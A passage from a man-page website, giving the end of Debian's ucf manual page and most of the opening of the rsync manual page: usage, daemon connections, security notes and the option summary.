This turns on the option, during installation, for the user to be offered a chance to see a merge of the changes between old maintainer version and the new maintainer version into the local copy of the configuration file. If the user likes what they see, they can ask to have these changes merged in. This allows one to get new upstream changes merged in even while retaining local modifications to the configuration file. This is accomplished by taking the configuration file and stashing it in a cache area during registration, and using diff3 during the install (the stashed file name is a munged version of the full path of the configuration file to avoid name space clashes).

–debconf-ok
Indicate that it is ok for ucf to use an already running debconf instance for prompting (it has always been ok to use ucf when debconf is not running – it shall invoke debconf as needed).

–debconf-template foo
Instruct ucf to use the named multiselect debconf template instead of the normal ucf-provided debconf template. The caller is responsible for ensuring that the named template exists and has a list of choices matching those for the default ucf template, and should set Choices-C: ${CHOICES} to ensure the returned values match those from the default template. Note that the choices must be different according to whether the –three-way option is also set.

–state-dir /path/to/dir
Set the state directory to /path/to/dir instead of the default /var/lib/ucf. Used mostly for testing.

-Z
Set SELinux security context of destination file to default type.

USAGE

The most common case usage is pretty simple: a single line invocation in the postinst on configure, and another single line in the postrm to tell ucf to forget about the configuration file on purge (using the –purge option) is all that is needed (assuming ucf is still on the system).

It is recommended that you also register any file being managed by ucf with the ucf registry; this associates the configuration file with the package it belongs to. This is done with a simple call to ucfr. Users may then query the association between a configuration file and the package using the tool ucfq. Please see the appropriate manual pages for details.

If a file maintained by maintainer scripts is being transitioned from an unprotected status to the protection afforded by the script, the maintainer can help ease the transition by reducing the questions that may be asked at installation time. Specifically, questions should not be asked if the file in question is an unmodified version that was one shipped in a previous version of this package; and the maintainer can help by telling the script about the historical md5sums that published versions of this file contained.

The way to do this is to either create a file called <New file>.md5sum, with one md5sum on each line, (the file names you use are ignored, except for the entry named default), or create a directory, called <New file>.md5sum.d, which should contain any number of files, each containing a single line, namely, the md5sum of a previous version of <New file>. The names of these files are not important, with one exception: The file called default is treated specially. For example, the author personally uses either package version numbers or release code names, like 7.6.3, or potato. If none of the historical md5sums match, we are almost certain that either the historical record of md5sums is not complete, or the user has changed the configuration file.

The default historical md5sum

The exception to the rule about names mentioned earlier is that if no md5sums match, and if the file <New file>.md5sum.d/default exists, or if there is a line corresponding to a default file in <New file>.md5sum, it shall be used as the default md5sum of the previous version of the package assumed to have been installed on this machine. As you can see, unless there are limited number of previously released packages (like just one), the maintainer is also making an informed guess, but the option is provided to the maintainer.

If the file <New file>.md5sum, or the directory <New file>.md5sum.d does not exist, or none of the md5sums match, we test the installed <Destination> file to see whether it is the same as the <New file>. If not, we ask the user whether they want us to replace the file.

An additional facility is also offered: optionally, ucf can store one old version of the maintainers copy of the configuration file, and, on upgrade, calculate the changes made in the maintainers version of the configuration file, and apply that patch to the local version of the file (on user request, of course). There is also a preview facility where the user can inspect the results of such a merge, before asking the action to be taken.

ENVIRONMENT VARIABLES

The variable UCF_FORCE_CONFFNEW, if set, forces the new file to always overwrite the installed destination file, while the variable UCF_FORCE_CONFFOLD, if set silently retains the installed file. UCF_FORCE_CONFFMISS is only applicable when the installed destination file does not exist (perhaps due to user removal),and forces ucf to recreate the missing file (the default behaviour is to honor the users wishes and not recreate the locally deleted file). Additionally, when ucf creates an inferior shell, it populates the variables UCF_CONFFILE_NEW and UCF_CONFFILE_OLD which are useful for inspecting the changes.

FILES

This script creates the file new_file.md5sum, and it may copy the file (presumably shipped with the package) <New file> to its destination, <Destination>.

/var/lib/ucf/hashfile, and /var/lib/ucf/hashfile.X, where X is a small integer, where previous versions of the hashfile are stored.

/etc/ucf.conf

EXAMPLES

If the package foo wants to use ucf to handle user interaction for configuration file foo.conf, a version of which is provided in the package as /usr/share/foo/configuration, a simple invocation of ucf in the post inst file is all that is needed:

ucf /usr/share/foo/configuration /etc/foo.conf

On purge, one should tell ucf to forget about the file (see detailed examples in /usr/share/doc/ucf/examples):

ucf –purge /etc/foo.conf Please note that purge can also be used to make ucf forget the previous state of the files, and when the package is next installed or updated, ucf will ask the user to replace the current cofiguration file. Do this if you want to change your decision to not update to a maintainer provided version of the configuration file.

The motivation for this script was to provide conffile like handling for start files for emacs lisp packages (for example, /etc/emacs21/site-start.d/50psgml-init.el ) These start files are not shipped with the package, instead, they are installed during the post installation configuration phase by the script /usr/lib/emacsen-common/emacs-package-install $package_name.

This script is meant to be invoked by the packages install script at /usr/lib/emacsen-common/packages/install/$package_name for each flavour of installed emacsen by calling it with the proper values of new file ( /usr/share/emacs/site-lisp/<pkg>/<pkg-init.el ), and dest file ( /etc/emacs21/site-start.d/50<pkg-init.el ), and it should do the rest.

SEE ALSO

ucf.conf(5), ucfr(1), ucfq(1), and diff3(1). The Debian Emacs policy, shipped with the package emacsen-common.

AUTHOR

This manual page was written Manoj Srivastava <[email protected]>, for the Debian GNU/Linux system.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1771 - Linux cli command rsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsync and provides detailed information about the command rsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsync.

NAME 🖥️ rsync 🖥️

a fast, versatile, remote (and local) file-copying tool

SYNOPSIS

Local:
    rsync [OPTION...] SRC... [DEST]

Access via remote shell:
    Pull:
        rsync [OPTION...] [USER@]HOST:SRC... [DEST]
    Push:
        rsync [OPTION...] SRC... [USER@]HOST:DEST

Access via rsync daemon:
    Pull:
        rsync [OPTION...] [USER@]HOST::SRC... [DEST]
        rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]
    Push:
        rsync [OPTION...] SRC... [USER@]HOST::DEST
        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST)

Usages with just one SRC arg and no DEST arg will list the source files instead of copying.

The online version of this manpage (that includes cross-linking of topics) is available at .

DESCRIPTION

Rsync is a fast and extraordinarily versatile file copying tool. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon. It offers a large number of options that control every aspect of its behavior and permit very flexible specification of the set of files to be copied. It is famous for its delta-transfer algorithm, which reduces the amount of data sent over the network by sending only the differences between the source files and the existing files in the destination. Rsync is widely used for backups and mirroring and as an improved copy command for everyday use.

Rsync finds files that need to be transferred using a “quick check” algorithm (by default) that looks for files that have changed in size or in last-modified time. Any changes in the other preserved attributes (as requested by options) are made on the destination file directly when the quick check indicates that the file’s data does not need to be updated.

Some of the additional features of rsync are:

  1. support for copying links, devices, owners, groups, and permissions

  2. exclude and exclude-from options similar to GNU tar

  3. a CVS exclude mode for ignoring the same files that CVS would ignore

  4. can use any transparent remote shell, including ssh or rsh

  5. does not require super-user privileges

  6. pipelining of file transfers to minimize latency costs

  7. support for anonymous or authenticated rsync daemons (ideal for mirroring)

GENERAL

Rsync copies files either to or from a remote host, or locally on the current host (it does not support copying files between two remote hosts).

There are two different ways for rsync to contact a remote system: using a remote-shell program as the transport (such as ssh or rsh) or contacting an rsync daemon directly via TCP. The remote-shell transport is used whenever the source or destination path contains a single colon (:) separator after a host specification. Contacting an rsync daemon directly happens when the source or destination path contains a double colon (::) separator after a host specification, OR when an rsync:// URL is specified (see also the USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION section for an exception to this latter rule).

As a special case, if a single source arg is specified without a destination, the files are listed in an output format similar to “ls -l”.

As expected, if neither the source or destination path specify a remote host, the copy occurs locally (see also the –list-only option).

Rsync refers to the local side as the client and the remote side as the server. Don’t confuse server with an rsync daemon. A daemon is always a server, but a server can be either a daemon or a remote-shell spawned process.

SETUP

See the file README.md for installation instructions.

Once installed, you can use rsync to any machine that you can access via a remote shell (as well as some that you can access using the rsync daemon-mode protocol). For remote transfers, a modern rsync uses ssh for its communications, but it may have been configured to use a different remote shell by default, such as rsh or remsh.

You can also specify any remote shell you like, either by using the -e command line option, or by setting the RSYNC_RSH environment variable.

Note that rsync must be installed on both the source and destination machines.

USAGE

You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote.

Perhaps the best way to explain the syntax is with some examples:

rsync -t *.c foo:src/

This would transfer all files matching the pattern *.c from the current directory to the directory src on the machine foo. If any of the files already exist on the remote system then the rsync remote-update protocol is used to update the file by sending only the differences in the data. Note that the expansion of wildcards on the command-line (*.c) into a list of files is handled by the shell before it runs rsync and not by rsync itself (exactly the same as all other Posix-style programs).

rsync -avz foo:src/bar /data/tmp

This would recursively transfer all files from the directory src/bar on the machine foo into the /data/tmp/bar directory on the local machine. The files are transferred in archive mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer. Additionally, compression will be used to reduce the size of data portions of the transfer.

rsync -avz foo:src/bar/ /data/tmp

A trailing slash on the source changes this behavior to avoid creating an additional directory level at the destination. You can think of a trailing / on a source as meaning “copy the contents of this directory” as opposed to “copy the directory by name”, but in both cases the attributes of the containing directory are transferred to the containing directory on the destination. In other words, each of the following commands copies the files in the same way, including their setting of the attributes of /dest/foo:

rsync -av /src/foo /dest rsync -av /src/foo/ /dest/foo

Note also that host and module references don’t require a trailing slash to copy the contents of the default directory. For example, both of these copy the remote directory’s contents into “/dest”:

rsync -av host: /dest rsync -av host::module /dest

You can also use rsync in local-only mode, where both the source and destination don’t have a ‘:’ in the name. In this case it behaves like an improved copy command.

Finally, you can list all the (listable) modules available from a particular rsync daemon by leaving off the module name:

rsync somehost.mydomain.com::

COPYING TO A DIFFERENT NAME

When you want to copy a directory to a different name, use a trailing slash on the source directory to put the contents of the directory into any destination directory you like:

rsync -ai foo/ bar/

Rsync also has the ability to customize a destination file’s name when copying a single item. The rules for this are:

  1. The transfer list must consist of a single item (either a file or an empty directory)

  2. The final element of the destination path must not exist as a directory

  3. The destination path must not have been specified with a trailing slash

Under those circumstances, rsync will set the name of the destination’s single item to the last element of the destination path. Keep in mind that it is best to only use this idiom when copying a file and use the above trailing-slash idiom when copying a directory.

The following example copies the foo.c file as bar.c in the save dir (assuming that bar.c isn’t a directory):

rsync -ai src/foo.c save/bar.c

The single-item copy rule might accidentally bite you if you unknowingly copy a single item and specify a destination dir that doesn’t exist (without using a trailing slash). For example, if src/*.c matches one file and save/dir doesn’t exist, this will confuse you by naming the destination file save/dir:

rsync -ai src/*.c save/dir

To prevent such an accident, either make sure the destination dir exists or specify the destination path with a trailing slash:

rsync -ai src/*.c save/dir/

SORTED TRANSFER ORDER

Rsync always sorts the specified filenames into its internal transfer list. This handles the merging together of the contents of identically named directories, makes it easy to remove duplicate filenames. It can, however, confuse someone when the files are transferred in a different order than what was given on the command-line.

If you need a particular file to be transferred prior to another, either separate the files into different rsync calls, or consider using –delay-updates (which doesn’t affect the sorted transfer order, but does make the final file-updating phase happen much more rapidly).

MULTI-HOST SECURITY

Rsync takes steps to ensure that the file requests that are shared in a transfer are protected against various security issues. Most of the potential problems arise on the receiving side where rsync takes steps to ensure that the list of files being transferred remains within the bounds of what was requested.

Toward this end, rsync 3.1.2 and later have aborted when a file list contains an absolute or relative path that tries to escape out of the top of the transfer. Also, beginning with version 3.2.5, rsync does two more safety checks of the file list to (1) ensure that no extra source arguments were added into the transfer other than those that the client requested and (2) ensure that the file list obeys the exclude rules that were sent to the sender.

For those that don’t yet have a 3.2.5 client rsync (or those that want to be extra careful), it is safest to do a copy into a dedicated destination directory for the remote files when you don’t trust the remote host. For example, instead of doing an rsync copy into your home directory:

rsync -aiv host1:dir1 ~

Dedicate a “host1-files” dir to the remote content:

rsync -aiv host1:dir1 ~/host1-files

See the –trust-sender option for additional details.

CAUTION: it is not particularly safe to use rsync to copy files from a case-preserving filesystem to a case-ignoring filesystem. If you must perform such a copy, you should either disable symlinks via –no-links or enable the munging of symlinks via –munge-links (and make sure you use the right local or remote option). This will prevent rsync from doing potentially dangerous things if a symlink name overlaps with a file or directory. It does not, however, ensure that you get a full copy of all the files (since that may not be possible when the names overlap). A potentially better solution is to list all the source files and create a safe list of filenames that you pass to the –files-from option. Any files that conflict in name would need to be copied to different destination directories using more than one copy.

While a copy of a case-ignoring filesystem to a case-ignoring filesystem can work out fairly well, if no –delete-during or –delete-before option is active, rsync can potentially update an existing file on the receiving side without noticing that the upper-/lower-case of the filename should be changed to match the sender.

ADVANCED USAGE

The syntax for requesting multiple files from a remote host is done by specifying additional remote-host args in the same style as the first, or with the hostname omitted. For instance, all these work:

rsync -aiv host:file1 :file2 host:file{3,4} /dest/ rsync -aiv host::modname/file{1,2} host::modname/extra /dest/ rsync -aiv host::modname/first ::extra-file{1,2} /dest/

Note that a daemon connection only supports accessing one module per copy command, so if the start of a follow-up path doesn’t begin with the modname of the first path, it is assumed to be a path in the module (such as the extra-file1 & extra-file2 that are grabbed above).

Really old versions of rsync (2.6.9 and before) only allowed specifying one remote-source arg, so some people have instead relied on the remote-shell performing space splitting to break up an arg into multiple paths. Such unintuitive behavior is no longer supported by default (though you can request it, as described below).

Starting in 3.2.4, filenames are passed to a remote shell in such a way as to preserve the characters you give it. Thus, if you ask for a file with spaces in the name, that’s what the remote rsync looks for:

rsync -aiv host:‘a simple file.pdf’ /dest/

If you use scripts that have been written to manually apply extra quoting to the remote rsync args (or to require remote arg splitting), you can ask rsync to let your script handle the extra escaping. This is done by either adding the –old-args option to the rsync runs in the script (which requires a new rsync) or exporting RSYNC_OLD_ARGS=1 and RSYNC_PROTECT_ARGS=0 (which works with old or new rsync versions).

CONNECTING TO AN RSYNC DAEMON

It is also possible to use rsync without a remote shell as the transport. In this case you will directly connect to a remote rsync daemon, typically using TCP port 873. (This obviously requires the daemon to be running on the remote system, so refer to the STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS section below for information on that.)

Using rsync in this way is the same as using it with a remote shell except that:

  1. Use either double-colon syntax or rsync:// URL syntax instead of the single-colon (remote shell) syntax.

  2. The first element of the “path” is actually a module name.

  3. Additional remote source args can use an abbreviated syntax that omits the hostname and/or the module name, as discussed in ADVANCED USAGE.

  4. The remote daemon may print a “message of the day” when you connect.

  5. If you specify only the host (with no module or path) then a list of accessible modules on the daemon is output.

  6. If you specify a remote source path but no destination, a listing of the matching files on the remote daemon is output.

  7. The –rsh (-e) option must be omitted to avoid changing the connection style from using a socket connection to USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION.

An example that copies all the files in a remote module named “src”:

rsync -av host::src /dest

Some modules on the remote daemon may require authentication. If so, you will receive a password prompt when you connect. You can avoid the password prompt by setting the environment variable RSYNC_PASSWORD to the password you want to use or using the –password-file option. This may be useful when scripting rsync.

WARNING: On some systems environment variables are visible to all users. On those systems using –password-file is recommended.

You may establish the connection via a web proxy by setting the environment variable RSYNC_PROXY to a hostname:port pair pointing to your web proxy. Note that your web proxy’s configuration must support proxy connections to port 873.

You may also establish a daemon connection using a program as a proxy by setting the environment variable RSYNC_CONNECT_PROG to the commands you wish to run in place of making a direct socket connection. The string may contain the escape “%H” to represent the hostname specified in the rsync command (so use “%%” if you need a single “%” in your string). For example:

export RSYNC_CONNECT_PROG=‘ssh proxyhost nc %H 873’ rsync -av targethost1::module/src/ /dest/ rsync -av rsync://targethost2/module/src/ /dest/

The command specified above uses ssh to run nc (netcat) on a proxyhost, which forwards all data to port 873 (the rsync daemon) on the targethost (%H).

Note also that if the RSYNC_SHELL environment variable is set, that program will be used to run the RSYNC_CONNECT_PROG command instead of using the default shell of the system() call.

USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION

It is sometimes useful to use various features of an rsync daemon (such as named modules) without actually allowing any new socket connections into a system (other than what is already required to allow remote-shell access). Rsync supports connecting to a host using a remote shell and then spawning a single-use “daemon” server that expects to read its config file in the home dir of the remote user. This can be useful if you want to encrypt a daemon-style transfer’s data, but since the daemon is started up fresh by the remote user, you may not be able to use features such as chroot or change the uid used by the daemon. (For another way to encrypt a daemon transfer, consider using ssh to tunnel a local port to a remote machine and configure a normal rsync daemon on that remote host to only allow connections from “localhost”.)

From the user’s perspective, a daemon transfer via a remote-shell connection uses nearly the same command-line syntax as a normal rsync-daemon transfer, with the only exception being that you must explicitly set the remote shell program on the command-line with the –rsh=COMMAND option. (Setting the RSYNC_RSH in the environment will not turn on this functionality.) For example:

rsync -av –rsh=ssh host::module /dest

If you need to specify a different remote-shell user, keep in mind that the user@ prefix in front of the host is specifying the rsync-user value (for a module that requires user-based authentication). This means that you must give the ‘-l user’ option to ssh when specifying the remote-shell, as in this example that uses the short version of the –rsh option:

rsync -av -e “ssh -l ssh-user” rsync-user@host::module /dest

The “ssh-user” will be used at the ssh level; the “rsync-user” will be used to log-in to the “module”.

In this setup, the daemon is started by the ssh command that is accessing the system (which can be forced via the ~/.ssh/authorized_keys file, if desired). However, when accessing a daemon directly, it needs to be started beforehand.

STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS

In order to connect to an rsync daemon, the remote system needs to have a daemon already running (or it needs to have configured something like inetd to spawn an rsync daemon for incoming connections on a particular port). For full information on how to start a daemon that will handling incoming socket connections, see the rsyncd.conf(5) manpage – that is the config file for the daemon, and it contains the full details for how to run the daemon (including stand-alone and inetd configurations).

If you’re using one of the remote-shell transports for the transfer, there is no need to manually start an rsync daemon.

EXAMPLES

Here are some examples of how rsync can be used.

To backup a home directory, which consists of large MS Word files and mail folders, a per-user cron job can be used that runs this each day:

rsync -aiz . bkhost:backup/joe/

To move some files from a remote host to the local host, you could run:

rsync -aiv –remove-source-files rhost:/tmp/{file1,file2}.c ~/src/

OPTION SUMMARY

Here is a short summary of the options available in rsync. Each option also has its own detailed description later in this manpage.

--verbose, -v            increase verbosity
--info=FLAGS             fine-grained informational verbosity
--debug=FLAGS            fine-grained debug verbosity
--stderr=e|a|c           change stderr output mode (default: errors)
--quiet, -q              suppress non-error messages
--no-motd                suppress daemon-mode MOTD
--checksum, -c           skip based on checksum, not mod-time & size
--archive, -a            archive mode is -rlptgoD (no -A,-X,-U,-N,-H)
--no-OPTION              turn off an implied OPTION (e.g. --no-D)
--recursive, -r          recurse into directories
--relative, -R           use relative path names
--no-implied-dirs        don't send implied dirs with --relative
--backup, -b             make backups (see --suffix & --backup-dir)
--backup-dir=DIR         make backups into hierarchy based in DIR
--suffix=SUFFIX          backup suffix (default ~ w/o --backup-dir)
--update, -u             skip files that are newer on the receiver
--inplace                update destination files in-place
--append                 append data onto shorter files
--append-verify          --append w/old data in file checksum
--dirs, -d               transfer directories without recursing
--old-dirs, --old-d      works like --dirs when talking to old rsync
--mkpath                 create destination's missing path components
--links, -l              copy symlinks as symlinks
--copy-links, -L         transform symlink into referent file/dir
--copy-unsafe-links      only "unsafe" symlinks are transformed
--safe-links             ignore symlinks that point outside the tree
--munge-links            munge symlinks to make them safe & unusable
--copy-dirlinks, -k      transform symlink to dir into referent dir
--keep-dirlinks, -K      treat symlinked dir on receiver as dir
--hard-links, -H         preserve hard links
--perms, -p              preserve permissions
--executability, -E      preserve executability
--chmod=CHMOD            affect file and/or directory permissions
--acls, -A               preserve ACLs (implies --perms)
--xattrs, -X             preserve extended attributes
--owner, -o              preserve owner (super-user only)
--group, -g              preserve group
--devices                preserve device files (super-user only)
--copy-devices           copy device contents as a regular file
--write-devices          write to devices as files (implies --inplace)
--specials               preserve special files
-D                       same as --devices --specials
--times, -t              preserve modification times
--atimes, -U             preserve access (use) times
--open-noatime           avoid changing the atime on opened files
--crtimes, -N            preserve create times (newness)
--omit-dir-times, -O     omit directories from --times
--omit-link-times, -J    omit symlinks from --times
--super                  receiver attempts super-user activities
--fake-super             store/recover privileged attrs using xattrs
--sparse, -S             turn sequences of nulls into sparse blocks
--preallocate            allocate dest files before writing them
--dry-run, -n            perform a trial run with no changes made
--whole-file, -W         copy files whole (w/o delta-xfer algorithm)
--checksum-choice=STR    choose the checksum algorithm (aka --cc)
--one-file-system, -x    don't cross filesystem boundaries
--block-size=SIZE, -B    force a fixed checksum block-size
--rsh=COMMAND, -e        specify the remote shell to use
--rsync-path=PROGRAM     specify the rsync to run on remote machine
--existing               skip creating new files on receiver
--ignore-existing        skip updating files that exist on receiver
--remove-source-files    sender removes synchronized files (non-dir)
--del                    an alias for --delete-during
--delete                 delete extraneous files from dest dirs
--delete-before          receiver deletes before xfer, not during
--delete-during          receiver deletes during the transfer
--delete-delay           find deletions during, delete after
--delete-after           receiver deletes after transfer, not during
--delete-excluded        also delete excluded files from dest dirs
--ignore-missing-args    ignore missing source args without error
--delete-missing-args    delete missing source args from destination
--ignore-errors          delete even if there are I/O errors
--force                  force deletion of dirs even if not empty
--max-delete=NUM         don't delete more than NUM files
--max-size=SIZE          don't transfer any file larger than SIZE
--min-size=SIZE          don't transfer any file smaller than SIZE
--max-alloc=SIZE         change a limit relating to memory alloc
--partial                keep partially transferred files
--partial-dir=DIR        put a partially transferred file into DIR
--delay-updates          put all updated files into place at end
--prune-empty-dirs, -m   prune empty directory chains from file-list
--numeric-ids            don't map uid/gid values by user/group name
--usermap=STRING         custom username mapping
--groupmap=STRING        custom groupname mapping
--chown=USER:GROUP       simple username/groupname mapping
--timeout=SECONDS        set I/O timeout in seconds
--contimeout=SECONDS     set daemon connection timeout in seconds
--ignore-times, -I       don't skip files that match size and time
--size-only              skip files that match in size
--modify-window=NUM, -@  set the accuracy for mod-time comparisons
--temp-dir=DIR, -T       create temporary files in directory DIR
--fuzzy, -y              find similar file for basis if no dest file
--compare-dest=DIR       also compare destination files relative to DIR
--copy-dest=DIR          ... and include copies of unchanged files
--link-dest=DIR          hardlink to files in DIR when unchanged
--compress, -z           compress file data during the transfer
--compress-choice=STR    choose the compression algorithm (aka --zc)
--compress-level=NUM     explicitly set compression level (aka --zl)
--skip-compress=LIST     skip compressing files with suffix in LIST
--cvs-exclude, -C        auto-ignore files in the same way CVS does
--filter=RULE, -f        add a file-filtering RULE
-F                       same as --filter='dir-merge /.rsync-filter'
                         repeated: --filter='- .rsync-filter'
--exclude=PATTERN        exclude files matching PATTERN
--exclude-from=FILE      read exclude patterns from FILE
--include=PATTERN        don't exclude files matching PATTERN
--include-from=FILE      read include patterns from FILE
--files-from=FILE        read list of source-file names from FILE
--from0, -0              all *-from/filter files are delimited by 0s
--old-args               disable the modern arg-protection idiom
--secluded-args, -s      use the protocol to safely send the args
--trust-sender           trust the remote sender's file list
--copy-as=USER[:GROUP]   specify user & optional group for the copy
--address=ADDRESS        bind address for outgoing socket to daemon
--port=PORT              specify double-colon alternate port number
--sockopts=OPTIONS       specify custom TCP options
--blocking-io            use blocking I/O for the remote shell
--outbuf=N|L|B           set out buffering to None, Line, or Block
--stats                  give some file-transfer stats
--8-bit-output, -8       leave high-bit chars unescaped in output
--human-readable, -h     output numbers in a human-readable format
--progress               show progress during transfer
-P                       same as --partial --progress
--itemize-changes, -i    output a change-summary for all updates
--remote-option=OPT, -M  send OPTION to the remote side only
--out-format=FORMAT      output updates using the specified FORMAT
--log-file=FILE          log what we're doing to the specified FILE
--log-file-format=FMT    log updates using the specified FMT
--password-file=FILE     read daemon-access password from FILE
--early-input=FILE       use FILE for daemon's early exec input
--list-only              list the files instead of copying them
--bwlimit=RATE           limit socket I/O bandwidth
--stop-after=MINS        Stop rsync after MINS minutes have elapsed
--stop-at=y-m-dTh:m      Stop rsync at the specified point in time
--fsync                  fsync every written file
--write-batch=FILE       write a batched update to FILE
--only-write-batch=FILE  like --write-batch but w/o updating dest
--read-batch=FILE        read a batched update from FILE
--protocol=NUM           force an older protocol version to be used
--iconv=CONVERT_SPEC     request charset conversion of filenames
--checksum-seed=NUM      set block/file checksum seed (advanced)
--ipv4, -4               prefer IPv4
--ipv6, -6               prefer IPv6
--version, -V            print the version + other info and exit
--help, -h (*)           show this help (* -h is help only on its own)

Rsync can also be run as a daemon, in which case the following options are accepted:

--daemon                 run as an rsync daemon
--address=ADDRESS        bind to the specified address
--bwlimit=RATE           limit socket I/O bandwidth
--config=FILE            specify alternate rsyncd.conf file
--dparam=OVERRIDE, -M    override global daemon config parameter
--no-detach              do not detach from the parent
--port=PORT              listen on alternate port number
--log-file=FILE          override the "log file" setting
--log-file-format=FMT    override the "log format" setting
--sockopts=OPTIONS       specify custom TCP options
--verbose, -v            increase verbosity
--ipv4, -4               prefer IPv4
--ipv6, -6               prefer IPv6
--help, -h               show this help (when used with --daemon)

OPTIONS

Rsync accepts both long (double-dash + word) and short (single-dash + letter) options. The full list of the available options are described below. If an option can be specified in more than one way, the choices are comma-separated. Some options only have a long variant, not a short.

If the option takes a parameter, the parameter is only listed after the long variant, even though it must also be specified for the short. When specifying a parameter, you can either use the form –option=param, –option param, -o=param, -o param, or -oparam (the latter choices assume that your option has a short variant).

The parameter may need to be quoted in some manner for it to survive the shell’s command-line parsing. Also keep in mind that a leading tilde (~) in a pathname is substituted by your shell, so make sure that you separate the option name from the pathname using a space if you want the local shell to expand it.

–help
Print a short help page describing the options available in rsync and exit. You can also use -h for –help when it is used without any other options (since it normally means –human-readable).

–version, -V
Print the rsync version plus other info and exit. When repeated, the information is output is a JSON format that is still fairly readable (client side only).

The output includes a list of compiled-in capabilities, a list of optimizations, the default list of checksum algorithms, the default list of compression algorithms, the default list of daemon auth digests, a link to the rsync web site, and a few other items.

–verbose, -v
This option increases the amount of information you are given during the transfer. By default, rsync works silently. A single -v will give you information about what files are being transferred and a brief summary at the end. Two -v options will give you information on what files are being skipped and slightly more information at the end. More than two -v options should only be used if you are debugging rsync.

The end-of-run summary tells you the number of bytes sent to the remote rsync (which is the receiving side on a local copy), the number of bytes received from the remote host, and the average bytes per second of the transferred data computed over the entire length of the rsync run. The second line shows the total size (in bytes), which is the sum of all the file sizes that rsync considered transferring. It also shows a “speedup” value, which is a ratio of the total file size divided by the sum of the sent and received bytes (which is really just a feel-good bigger-is-better number). Note that these byte values can be made more (or less) human-readable by using the –human-readable (or –no-human-readable) options.

In a modern rsync, the -v option is equivalent to the setting of groups of –info and –debug options. You can choose to use these newer options in addition to, or in place of using –verbose, as any fine-grained settings override the implied settings of -v. Both –info and –debug have a way to ask for help that tells you exactly what flags are set for each increase in verbosity.

However, do keep in mind that a daemon’s “max verbosity” setting will limit how high of a level the various individual flags can be set on the daemon side. For instance, if the max is 2, then any info and/or debug flag that is set to a higher value than what would be set by -vv will be downgraded to the -vv level in the daemon’s logging.

–info=FLAGS
This option lets you have fine-grained control over the information output you want to see. An individual flag name may be followed by a level number, with 0 meaning to silence that output, 1 being the default output level, and higher numbers increasing the output of that flag (for those that support higher levels). Use –info=help to see all the available flag names, what they output, and what flag names are added for each increase in the verbose level. Some examples:

rsync -a --info=progress2 src/ dest/
rsync -avv --info=stats2,misc1,flist0 src/ dest/

Note that –info=name’s output is affected by the –out-format and –itemize-changes (-i) options. See those options for more information on what is output and when.

This option was added to 3.1.0, so an older rsync on the server side might reject your attempts at fine-grained control (if one or more flags needed to be send to the server and the server was too old to understand them). See also the “max verbosity” caveat above when dealing with a daemon.

–debug=FLAGS
This option lets you have fine-grained control over the debug output you want to see. An individual flag name may be followed by a level number, with 0 meaning to silence that output, 1 being the default output level, and higher numbers increasing the output of that flag (for those that support higher levels). Use –debug=help to see all the available flag names, what they output, and what flag names are added for each increase in the verbose level. Some examples:

rsync -avvv --debug=none src/ dest/
rsync -avA --del --debug=del2,acl src/ dest/

Note that some debug messages will only be output when the –stderr=all option is specified, especially those pertaining to I/O and buffer debugging.

Beginning in 3.2.0, this option is no longer auto-forwarded to the server side in order to allow you to specify different debug values for each side of the transfer, as well as to specify a new debug option that is only present in one of the rsync versions. If you want to duplicate the same option on both sides, using brace expansion is an easy way to save you some typing. This works in zsh and bash:

rsync -aiv {-M,}--debug=del2 src/ dest/

–stderr=errors|all|client
This option controls which processes output to stderr and if info messages are also changed to stderr. The mode strings can be abbreviated, so feel free to use a single letter value. The 3 possible choices are:

  1. errors - (the default) causes all the rsync processes to send an error directly to stderr, even if the process is on the remote side of the transfer. Info messages are sent to the client side via the protocol stream. If stderr is not available (i.e. when directly connecting with a daemon via a socket) errors fall back to being sent via the protocol stream.

  2. all - causes all rsync messages (info and error) to get written directly to stderr from all (possible) processes. This causes stderr to become line-buffered (instead of raw) and eliminates the ability to divide up the info and error messages by file handle. For those doing debugging or using several levels of verbosity, this option can help to avoid clogging up the transfer stream (which should prevent any chance of a deadlock bug hanging things up). It also allows –debug to enable some extra I/O related messages.

  3. client - causes all rsync messages to be sent to the client side via the protocol stream. One client process outputs all messages, with errors on stderr and info messages on stdout. This was the default in older rsync versions, but can cause error delays when a lot of transfer data is ahead of the messages. If you’re pushing files to an older rsync, you may want to use –stderr=all since that idiom has been around for several releases.

This option was added in rsync 3.2.3. This version also began the forwarding of a non-default setting to the remote side, though rsync uses the backward-compatible options –msgs2stderr and –no-msgs2stderr to represent the all and client settings, respectively. A newer rsync will continue to accept these older option names to maintain compatibility.

–quiet, -q
This option decreases the amount of information you are given during the transfer, notably suppressing information messages from the remote server. This option is useful when invoking rsync from cron.

–no-motd
